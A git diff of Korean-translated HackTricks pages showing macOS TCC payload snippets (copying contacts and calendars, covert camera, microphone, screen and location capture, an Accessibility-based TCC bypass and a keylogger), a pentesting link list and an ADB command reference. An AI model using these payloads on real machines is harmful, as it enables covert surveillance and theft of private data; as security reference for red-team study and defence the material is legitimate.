`$HOME/Library/Application Support/AddressBook`를 `/tmp/contacts`로 복사합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||||
```
|
```
|
||||||
|
@ -283,7 +268,6 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="ObjectiveC" %}
|
||||||
`$HOME/Library/Calendars`를 `/tmp/calendars`로 복사합니다.
|
`$HOME/Library/Calendars`를 `/tmp/calendars`로 복사합니다.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -317,15 +301,22 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="쉘" %}
|
{% tab title="Shell" %}
|
||||||
`$HOME/Library/Calendars`를 `/tmp/calendars`로 복사합니다.
|
`$HOME/Library/Calendars`를 `/tmp/calendars`로 복사합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
3초 동영상을 녹화하고 \*\*`/tmp/recording.mov`\*\*에 저장합니다.
|
### 카메라
|
||||||
|
|
||||||
|
* **권한**: `com.apple.security.device.camera`
|
||||||
|
* **TCC**: `kTCCServiceCamera`
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="ObjetiveC - 녹화" %}
|
||||||
|
3초 비디오를 녹화하고 **`/tmp/recording.mov`**에 저장합니다.
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -401,11 +392,10 @@ VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
카메라에 대한 프로그램의 접근 권한을 확인합니다.
|
{% tab title="ObjectiveC - Check" %}
|
||||||
|
프로그램이 카메라에 접근할 수 있는지 확인합니다.
|
||||||
Check if the program has access to the camera.
|
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -435,9 +425,10 @@ freopen("/tmp/logs.txt", "a", stderr);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
카메라로 사진을 찍습니다.
|
{% tab title="Shell" %}
|
||||||
|
카메라로 사진 찍기
|
||||||
```bash
|
```bash
|
||||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||||
```
|
```
|
||||||
|
@ -450,9 +441,8 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||||
* **TCC**: `kTCCServiceMicrophone`
|
* **TCC**: `kTCCServiceMicrophone`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC - 녹음" %}
|
{% tab title="ObjetiveC - 녹음" %}
|
||||||
5초 동안 오디오를 녹음하고 `/tmp/recording.m4a`에 저장합니다.
|
5초 동안 오디오를 녹음하고 `/tmp/recording.m4a`에 저장합니다.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -553,9 +543,6 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="ObjectiveC - 확인" %}
|
{% tab title="ObjectiveC - 확인" %}
|
||||||
앱이 마이크에 접근할 수 있는지 확인합니다.
|
앱이 마이크에 접근할 수 있는지 확인합니다.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -586,8 +573,7 @@ static void telegram(int argc, const char **argv) {
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
5초 동안 오디오를 녹음하고 `/tmp/recording.wav`에 저장합니다.
|
5초 오디오를 녹음하고 `/tmp/recording.wav`에 저장합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check the microphones
|
# Check the microphones
|
||||||
ffmpeg -f avfoundation -list_devices true -i ""
|
ffmpeg -f avfoundation -list_devices true -i ""
|
||||||
|
@ -600,16 +586,15 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
||||||
### 위치
|
### 위치
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
앱이 위치 정보를 얻으려면, **위치 서비스**(개인 정보 및 보안에서)가 **활성화되어 있어야** 합니다. 그렇지 않으면 앱은 위치 정보에 접근할 수 없습니다.
|
앱이 위치를 얻으려면 **위치 서비스**(개인정보 보호 및 보안에서) **가 활성화되어야 하며,** 그렇지 않으면 접근할 수 없습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* **Entitlement**: `com.apple.security.personal-information.location`
|
* **권한**: `com.apple.security.personal-information.location`
|
||||||
* **TCC**: `/var/db/locationd/clients.plist`에서 허용됨
|
* **TCC**: `/var/db/locationd/clients.plist`에서 부여됨
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="ObjectiveC" %}
|
||||||
`/tmp/logs.txt`에 위치 정보를 기록하세요.
|
위치를 `/tmp/logs.txt`에 기록합니다.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -658,23 +643,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="쉘" %}
|
{% tab title="Shell" %}
|
||||||
위치에 액세스하기
|
위치에 접근하기
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```
|
```
|
||||||
???
|
???
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
### 화면 녹화
|
||||||
|
|
||||||
|
* **권한**: 없음
|
||||||
|
* **TCC**: `kTCCServiceScreenCapture`
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjectiveC" %}
|
||||||
주요 화면을 5초 동안 `/tmp/screen.mov`에 녹화합니다.
|
메인 화면을 5초 동안 `/tmp/screen.mov`에 녹화합니다.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -731,29 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
주요 화면을 5초 동안 녹화합니다.
|
주 화면을 5초 동안 녹화합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
screencapture -V 5 /tmp/screen.mov
|
screencapture -V 5 /tmp/screen.mov
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
### 접근성
|
||||||
#### 접근성
|
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
* **권한**: 없음
|
* **권한**: 없음
|
||||||
* **TCC**: `kTCCServiceAccessibility`
|
* **TCC**: `kTCCServiceAccessibility`
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
TCC 권한을 사용하여 Finder의 제어를 수락하고 그 방법으로 TCC를 우회합니다.
|
||||||
TCC 권한을 사용하여 Finder의 엔터 키를 눌러 제어를 받고, 이를 통해 TCC를 우회합니다.
|
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
{% tabs %}
|
||||||
|
{% tab title="TCC 수락" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -806,9 +783,8 @@ return 0;
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Keylogger" %}
|
{% tab title="키로거" %}
|
||||||
눌린 키를 \*\*`/tmp/keystrokes.txt`\*\*에 저장합니다.
|
누른 키를 **`/tmp/keystrokes.txt`**에 저장합니다.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -916,19 +892,20 @@ return 0;
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**접근성은 매우 강력한 권한**입니다. 예를 들어, 시스템 이벤트를 호출할 필요 없이 접근성을 통해 **키스트로크 공격**을 수행할 수도 있습니다.
|
**접근성은 매우 강력한 권한입니다**, 이를 다른 방식으로 악용할 수 있습니다. 예를 들어, System Events를 호출할 필요 없이 **키스트로크 공격**을 수행할 수 있습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,17 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||||
|
@ -60,16 +61,17 @@ HackTricks를 지원하는 다른 방법:
|
||||||
{% embed url="https://ippsec.rocks/" %}
|
{% embed url="https://ippsec.rocks/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,20 @@
|
||||||
# ADB Commands
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
**Adb는 일반적으로 다음 위치에 있습니다:**
|
**Adb는 일반적으로 다음 위치에 있습니다:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Windows
|
#Windows
|
||||||
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||||
|
@ -23,87 +22,31 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||||
#MacOS
|
#MacOS
|
||||||
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
||||||
```
|
```
|
||||||
|
**정보 출처:** [**http://adbshell.com/**](http://adbshell.com)
|
||||||
|
|
||||||
**정보 획득처:** [**http://adbshell.com/**](http://adbshell.com)
|
# 연결
|
||||||
|
|
||||||
## 연결
|
|
||||||
|
|
||||||
ADB(Android Debug Bridge)는 안드로이드 기기와 컴퓨터 간의 연결을 제공하는 도구입니다. ADB를 사용하여 안드로이드 기기에 명령을 전송하고 기기에서 정보를 가져올 수 있습니다.
|
|
||||||
|
|
||||||
### USB 연결
|
|
||||||
|
|
||||||
1. 안드로이드 기기를 컴퓨터에 USB 케이블로 연결합니다.
|
|
||||||
2. 안드로이드 기기에서 개발자 옵션을 활성화합니다. 이를 위해 기기 설정에서 "빌드 번호"를 7번 클릭합니다.
|
|
||||||
3. 개발자 옵션으로 이동하여 "USB 디버깅"을 활성화합니다.
|
|
||||||
4. 컴퓨터에서 터미널 또는 명령 프롬프트를 열고 다음 명령을 실행합니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
adb devices
|
|
||||||
```
|
|
||||||
|
|
||||||
5. 연결된 기기의 목록이 표시됩니다.
|
|
||||||
|
|
||||||
### Wi-Fi 연결
|
|
||||||
|
|
||||||
1. 안드로이드 기기를 USB로 컴퓨터에 연결합니다.
|
|
||||||
2. 컴퓨터에서 터미널 또는 명령 프롬프트를 열고 다음 명령을 실행합니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
adb tcpip 5555
|
|
||||||
```
|
|
||||||
|
|
||||||
3. USB 연결을 해제합니다.
|
|
||||||
4. 안드로이드 기기의 IP 주소를 확인합니다. 이를 위해 기기 설정에서 "Wi-Fi"로 이동하고 "고급" 또는 "추가 설정"을 선택합니다.
|
|
||||||
5. "IP 주소"를 확인하고 다음 명령을 실행합니다.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
adb connect <device-ip>:5555
|
|
||||||
```
|
|
||||||
|
|
||||||
6. 연결된 기기의 목록이 표시됩니다.
|
|
||||||
|
|
||||||
### 연결 해제
|
|
||||||
|
|
||||||
```bash
|
|
||||||
adb disconnect
|
|
||||||
```
|
|
||||||
|
|
||||||
### 연결 상태 확인
|
|
||||||
|
|
||||||
```bash
|
|
||||||
adb devices
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
```
|
||||||
adb devices
|
adb devices
|
||||||
```
|
```
|
||||||
|
이 명령은 연결된 장치를 나열합니다. "_**unauthorized**_"가 나타나면, 이는 **모바일**의 잠금을 해제하고 연결을 **수락**해야 함을 의미합니다.
|
||||||
|
|
||||||
다음은 연결된 장치 목록을 표시합니다. "_**unathorised**_"가 나타나면 모바일을 **해제**하고 연결을 **수락**해야 합니다.
|
이는 장치에 포트 5555에서 adb 서버를 시작해야 함을 나타냅니다:
|
||||||
|
|
||||||
이는 장치에 5555 포트에서 adb 서버를 시작하도록 지시합니다.
|
|
||||||
|
|
||||||
```
|
```
|
||||||
adb tcpip 5555
|
adb tcpip 5555
|
||||||
```
|
```
|
||||||
|
해당 IP와 포트에 연결:
|
||||||
해당 IP와 포트에 연결하세요:
|
|
||||||
|
|
||||||
```
|
```
|
||||||
adb connect <IP>:<PORT>
|
adb connect <IP>:<PORT>
|
||||||
```
|
```
|
||||||
|
가상 Android 소프트웨어(예: Genymotion)에서 다음과 같은 오류가 발생하면:
|
||||||
가상 Android 소프트웨어 (예: Genymotion)에서 다음과 같은 오류가 발생하는 경우:
|
|
||||||
|
|
||||||
```
|
```
|
||||||
adb server version (41) doesn't match this client (36); killing...
|
adb server version (41) doesn't match this client (36); killing...
|
||||||
```
|
```
|
||||||
|
ADB 서버에 다른 버전으로 연결하려고 하기 때문입니다. 소프트웨어가 사용하는 adb 바이너리를 찾아보세요 (C:\Program Files\Genymobile\Genymotion로 가서 adb.exe를 검색하세요).
|
||||||
|
|
||||||
이는 다른 버전의 ADB 서버에 연결하려고 하기 때문입니다. 소프트웨어가 사용하는 adb 바이너리를 찾아보세요 (`C:\Program Files\Genymobile\Genymotion`으로 이동하여 adb.exe를 검색하세요).
|
## 여러 장치
|
||||||
|
|
||||||
### 여러 기기
|
|
||||||
|
|
||||||
**여러 기기가 컴퓨터에 연결**되어 있는 경우 adb 명령을 실행할 기기를 **지정해야 합니다**.
|
|
||||||
|
|
||||||
|
**여러 장치가 귀하의 머신에 연결되어 있는 경우** 어떤 장치에서 adb 명령을 실행할 것인지 **지정해야** 합니다.
|
||||||
```bash
|
```bash
|
||||||
adb devices
|
adb devices
|
||||||
List of devices attached
|
List of devices attached
|
||||||
|
@ -116,22 +59,18 @@ adb -s 127.0.0.1:5555 shell
|
||||||
x86_64:/ # whoami
|
x86_64:/ # whoami
|
||||||
root
|
root
|
||||||
```
|
```
|
||||||
|
## Port Tunneling
|
||||||
|
|
||||||
### 포트 터널링
|
안드로이드 장치에서 **adb** **포트**가 **localhost**에서만 **접근 가능**하지만 **SSH를 통해 접근할 수 있는 경우**, **포트 5555를 포워딩**하고 adb를 통해 연결할 수 있습니다:
|
||||||
|
|
||||||
만약 안드로이드 장치에서 **adb 포트**가 **로컬호스트**에서만 **접근 가능**하지만 **SSH를 통해 액세스할 수 있다면**, 포트 5555를 **포워딩**하여 adb를 통해 연결할 수 있습니다:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||||
adb connect 127.0.0.1:5555
|
adb connect 127.0.0.1:5555
|
||||||
```
|
```
|
||||||
|
# 패킷 관리자
|
||||||
|
|
||||||
## 패키지 관리자
|
## 설치/제거
|
||||||
|
|
||||||
### 설치/제거
|
|
||||||
|
|
||||||
#### adb install \[옵션] <경로>
|
|
||||||
|
|
||||||
|
### adb install \[option] \<path>
|
||||||
```bash
|
```bash
|
||||||
adb install test.apk
|
adb install test.apk
|
||||||
|
|
||||||
|
@ -147,35 +86,17 @@ adb install -d test.apk # allow version code downgrade
|
||||||
|
|
||||||
adb install -p test.apk # partial application install
|
adb install -p test.apk # partial application install
|
||||||
```
|
```
|
||||||
|
### adb uninstall \[options] \<PACKAGE>
|
||||||
#### adb uninstall \[옵션] <패키지>
|
|
||||||
|
|
||||||
adb uninstall 명령은 Android 디바이스에서 특정 앱을 제거하는 데 사용됩니다.
|
|
||||||
|
|
||||||
**옵션:**
|
|
||||||
|
|
||||||
* \-k: 앱 데이터와 캐시를 유지한 채로 앱을 제거합니다.
|
|
||||||
|
|
||||||
**사용법:**
|
|
||||||
|
|
||||||
```
|
|
||||||
adb uninstall com.example.app
|
|
||||||
```
|
|
||||||
|
|
||||||
이 명령은 com.example.app이라는 패키지 이름을 가진 앱을 디바이스에서 제거합니다.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb uninstall com.test.app
|
adb uninstall com.test.app
|
||||||
|
|
||||||
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
|
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
|
||||||
```
|
```
|
||||||
|
## 패키지
|
||||||
### 패키지
|
|
||||||
|
|
||||||
모든 패키지를 출력하며, 선택적으로 패키지 이름에 \<FILTER> 텍스트가 포함된 패키지만 출력합니다.
|
모든 패키지를 출력하며, 선택적으로 패키지 이름에 \<FILTER> 텍스트가 포함된 패키지만 출력합니다.
|
||||||
|
|
||||||
#### adb shell pm list packages \[옵션] \<FILTER-STR>
|
### adb shell pm list packages \[options] \<FILTER-STR>
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell pm list packages <FILTER-STR>
|
adb shell pm list packages <FILTER-STR>
|
||||||
|
|
||||||
|
@ -195,55 +116,43 @@ adb shell pm list packages -u <FILTER-STR> #Also include uninstalled packages.
|
||||||
|
|
||||||
adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to query.
|
